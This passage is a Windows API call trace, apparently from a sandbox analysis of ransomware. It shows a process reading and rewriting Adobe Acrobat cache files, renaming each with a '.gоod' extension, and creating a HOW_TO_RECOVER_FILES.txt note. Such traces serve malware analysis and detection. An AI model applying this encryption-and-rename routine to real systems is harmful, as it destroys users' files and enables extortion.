lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", lpFilePart=0x0) returned 0x43 [0142.492] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2.gоod", lpFilePart=0x0) returned 0x48 [0142.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0142.492] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78215d4, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78215d4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x5123fe0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0142.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0142.492] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2.gоod")) returned 1 [0143.013] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0143.774] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), fInfoLevelId=0x0, lpFileInformation=0x347d040 | out: lpFileInformation=0x347d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7823d0a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd7823d0a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0143.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0143.774] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.775] GetFileType (hFile=0x804) returned 0x1 [0143.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.775] GetFileType (hFile=0x804) returned 0x1 [0143.775] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0143.775] ReadFile (in: hFile=0x804, lpBuffer=0x3694ce0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x3694ce0*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0143.829] CloseHandle (hObject=0x804) returned 1 [0143.829] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.829] GetFileType (hFile=0x804) returned 0x1 [0143.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.829] GetFileType (hFile=0x804) returned 0x1 [0143.829] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x2000 [0143.829] WriteFile (in: hFile=0x804, lpBuffer=0x3537740*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x3537740*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0143.830] CloseHandle (hObject=0x804) returned 1 [0143.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.830] GetFileType (hFile=0x804) returned 0x1 [0143.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.830] GetFileType (hFile=0x804) returned 0x1 [0143.830] ReadFile (in: hFile=0x804, lpBuffer=0x35399e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x35399e8*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0143.858] CloseHandle (hObject=0x804) returned 1 [0143.858] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.858] GetFileType (hFile=0x804) returned 0x1 [0143.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.858] GetFileType (hFile=0x804) returned 0x1 [0143.858] WriteFile (in: hFile=0x804, lpBuffer=0x3538758*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x3538758*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0143.859] CloseHandle (hObject=0x804) returned 1 [0143.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", lpFilePart=0x0) returned 0x43 [0143.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3.gоod", lpFilePart=0x0) returned 0x48 [0143.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0143.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7823d0a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd7823d0a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x51f5f36f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2010)) returned 1 [0143.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0143.859] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3.gоod")) returned 1 [0143.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0143.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0143.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), fInfoLevelId=0x0, lpFileInformation=0x35b5ef8 | out: lpFileInformation=0x35b5ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7812b7f, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80170)) returned 1 [0143.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0143.860] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0143.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.860] GetFileType (hFile=0x804) returned 0x1 [0143.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.860] GetFileType (hFile=0x804) returned 0x1 [0143.860] SetFilePointer (in: hFile=0x804, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x1000 [0143.861] ReadFile (in: hFile=0x804, lpBuffer=0x35b62e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9fa8, lpOverlapped=0x0 | out: lpBuffer=0x35b62e0*, lpNumberOfBytesRead=0x1f6e9fa8*=0x1000, lpOverlapped=0x0) returned 1 [0143.861] CloseHandle (hObject=0x804) returned 1 [0143.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0143.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.862] GetFileType (hFile=0x804) returned 0x1 [0143.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.862] GetFileType (hFile=0x804) returned 0x1 [0143.862] SetFilePointer (in: hFile=0x804, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6e9fd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6e9fd8*=0) returned 0x80170 [0143.862] WriteFile (in: hFile=0x804, lpBuffer=0x35b7560*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6e9ec8, lpOverlapped=0x0 | out: lpBuffer=0x35b7560*, lpNumberOfBytesWritten=0x1f6e9ec8*=0x10, lpOverlapped=0x0) returned 1 [0143.866] CloseHandle (hObject=0x804) returned 1 [0143.866] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0143.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0143.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0143.866] GetFileType (hFile=0x804) returned 0x1 [0143.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0143.866] GetFileType (hFile=0x804) returned 0x1 [0143.867] ReadFile (in: hFile=0x804, lpBuffer=0x35b9808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f58, lpOverlapped=0x0 | out: lpBuffer=0x35b9808*, lpNumberOfBytesRead=0x1f6e9f58*=0x1000, lpOverlapped=0x0) returned 1 [0146.146] CloseHandle (hObject=0x804) returned 1 [0146.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0146.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e80) returned 1 [0146.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0146.147] GetFileType (hFile=0x804) returned 0x1 [0146.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9df0) returned 1 [0146.147] GetFileType (hFile=0x804) returned 0x1 [0146.147] WriteFile (in: hFile=0x804, lpBuffer=0x34c2bb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ea008, lpOverlapped=0x0 | out: lpBuffer=0x34c2bb0*, lpNumberOfBytesWritten=0x1f6ea008*=0x1010, lpOverlapped=0x0) returned 1 [0146.147] CloseHandle (hObject=0x804) returned 1 [0146.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", lpFilePart=0x0) returned 0x42 [0146.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index.gоod", lpFilePart=0x0) returned 0x47 [0146.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0146.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x53520cb5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80180)) returned 1 [0146.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0146.147] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index.gоod")) returned 1 [0146.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e9c20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0146.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea140) returned 1 [0146.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0146.148] GetFileType (hFile=0x804) returned 0x1 [0146.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0146.148] GetFileType (hFile=0x804) returned 0x1 [0146.149] WriteFile (in: hFile=0x804, lpBuffer=0x37bcce8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x37bcce8*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0146.150] CloseHandle (hObject=0x804) returned 1 [0146.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0146.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpFilePart=0x0) returned 0x3d [0146.150] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.151] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.151] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd7437f7e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0146.151] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x777b22bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x777b22bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xd74f6b1c, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0146.151] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.151] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0146.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0146.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0146.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpFilePart=0x0) returned 0x3d [0146.151] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, 